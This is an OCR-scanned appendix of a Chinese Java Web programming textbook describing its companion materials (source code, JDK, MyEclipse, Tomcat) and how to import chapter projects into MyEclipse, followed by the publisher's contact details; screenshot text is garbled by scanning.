为 方便 读者 阅读 本 书 和 调试 程序 ,在 随 书 附带 的 配套 素材 中 有 全 书 所 有 实例 的 源 代码 
还 包含 了 项 目 开 发 中 所 用 到 的 软件 。 配 套 素材 中 的 内 容 具 体 如 下 。 

(1) 实例 源 代码 。 

每 章 中 的 项 目 源 代码 ,按照 章节 编号 。 

(2) 开源 工具 软件 包 。 

。 JDK 1.6 for Windows: jdk-6u45-windows-i586. exe; 

*。 MyEclipse 7.0: MyEclipse_7.0M1_E3. 4.0_Installer. exe; 


»。 Apache Tomcat 6. 0 for Windows: apache-tomcat-6. 0. 45. exe。 


A.2 使 用 实例 源 代码 


各 章 的 源 代码 独自 成 为 一 个 个 项 目 。 在 每 一 章 的 源 代码 目录 中 ,如 果 有 一 个 src 目录 ， 
则 在 这 个 目录 中 放置 了 Java 类 的 源 代码 ; 另外 还 有 一 个 名 为 WebRoot 的 目录 ,存放 了 项 目 


运行 过 程 中 的 JSP 文件 和 一 些 配置 文件 。 例 如 ,第 5 章 在 配套 素材 中 的 源 代码 的 目录 如 
图 A-l 所 示 。 


4 器 po5 
区 src 
mi JRE System Library UDK6] 
Bh J2EE 1.4 Libraries 
4 BE WebRoot 
BE META-INF 
4 BB WEB-INF 
攻 hb 
加 webxml 


图 A-1 第 5 章 在 配套 素材 中 的 源 代码 的 目录 
在 图 A-l 中 ,src 目录 中 
JSP 文件 和 一 些 配 置 文件 。 


Ph 存 放 的 是 源 代码 ,WebRoot 目录 中 存放 的 是 项 目 运 行 过 程 中 的 


A.3 在 MyEclipse 中 打开 源 代 码 


以 第 5 章 的 源 代码 为 例 。 首 先 打 开 MyEclipse, 如 图 A-2 所 示 。 
在 MyEclipse 界面 中 选择 菜单 命令 File|Import, 如 图 A-3 所 示 。 
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[6 MyEclipse Java Enterprise - MyEclipse Enterprise Workbench 


Source Refactor Nevigate Search project MyEclipse -Run Window Help 
i 外 二 人 :起 "局 ;十 -@ 3 声 中 国信”: 国 - 
二” 了 i 扫 -O-%-: 岂 省 -i 多 Fr7 四 i 们 "出 "中" 
ackage Explorer OE outine 2 si 
An outline is not available. 


区 P| 生 T| 压 w| 加 Cc 3 、Y 一口 
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图 A-2 MyEclipse 界面 
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图 A-3 MyEclipse 的 File 菜单 
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附录 A 配套 素材 内 容 与 使 用 说 明 会- 


系统 弹出 如 图 A-4 所 示 的 对 话 框 。 


六 Import 


Select 
Create new projects from an archive file or directory. 


Select an import source: 


BB Archive Fle 
痢 Existing Projects into Workspace 
久 Fle System 
国 preferences 
[2 
BE Database 
® Maven4MyEclipse 
多 Plug-in Development 
BS Run/Debug 
© Team 
Web Services 
BB XML 


A-4 导入 项 目 


在 该 对 话 框 中 选择 General| Existing Projects into Workspace, 然 后 单 击 Next 按钮 ,得 
到 如 图 A-5 所 示 的 对 话 框 。 


故 Impor 


Import Projects 


Select a directory to search for existing Eclipse projects. 


回 Select root directory: 


© Select archive file: 


Projects: 


Net> | | Finish 


图 A-5 选择 路 径 


所 Java Web 程序 设计 (第 3 版 )- 微 课 视频 版 


在 该 对 话 框 中 单 击 Browse 按钮 ,弹出 如 图 A-6 所 示 的 对 话 框 。 


Select root directory of the projects to import 


4 Pros| 
出 .myeclipse 
出 .settings 
出 src 
b DM WebRoot 
b prj06 


a 


文件 夹 (F): Prj05 
EFFECT 取消 


A-6 选择 项 目 


在 该 对 话 框 中 选择 项 目 所 在 的 路 径 , 单 击 “ 确 定 ” 按 钮 , 则 前 面 的 对 话 框 中 就 显示 了 被 选 
定 的 项 目 , 如 图 A-7 所 示 。 


蕊 Import 


Import Projects 


Select a directory to search for existing Eclipse projects. 


@ Select root directory: Ci\Users\Fan\Desktop\Prj05 


© select archive fle: | Browse.- 


Projects: 


国 Prj05 (CNUsers\Fan\Desktop\prj05) 


Copy projects into workspace 


图 A-7 显示 项 目 
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附录 A， 配套 素材 内 容 与 使 用 说 明 


单 击 Finish 按钮 ,项 目 就 被 导入 到 MyEclipse 中 .结构 如 图 A-8 所 示 。 


4 销 pno5 
小 src 
Bi JRE System Library UDK6] 
Bi J2EE 1.4 Libraries 
EB WebRoot 


图 A-8 项 目 结构 


这 样 就 完成 了 导入 工作 。 
有 关 本 书 的 意见 反馈 和 咨询 ,读者 可 以 在 清华 大 学 出 版 社 相 关 版 块 中 与 作者 进行 交流 。 


配套 素材 下 


图 书 资源 支持 


感谢 您 一 直 以 来 对 清华 版 图 书 的 支持 和 爱护 。 为 了 配合 本 书 的 使 用 ,本 书 


贸 


提供 配套 的 资源 ,有 需求 的 读者 请 扫描 下 方 的 " 书 圈 " 微 信 公 众 号 二 维 码 , 在 


书 专区 下 载 ,也 可 以 拨打 电话 或 发 送 电子 邮件 咨询 。 


如 果 您 在 使 用 本 书 的 过 程 中 遇 到 了 什么 问题 ,或 者 有 相关 图 书 出 版 计划 ， 


也 请 您 发 邮件 告诉 我 们 ,以 便 我 们 更 好 地 为 您 服务 。 


我 们 的 联系 方式 : 资源 下 载 、 样 书 中 请 


地 址 ; 北京 市 海淀 区 双 清 路 学 研 大 厦 A 座 701 


邮 编 : 100084 
电 话 ; 010 一 62770175 一 4608 
资源 下 载 : http://www. tup. com.cn 


客服 邮箱 : tupjsj@vip.163.com 


QQ: 2301891038 ( 请 写 明 您 的 单位 和 姓名 ) 让 


用 微 信 扫 一 扫 右 边 的 二 维 码 , 即 可 关注 清华 大 学 出 版 社 公 众 号 “ 书 圈 ”。 


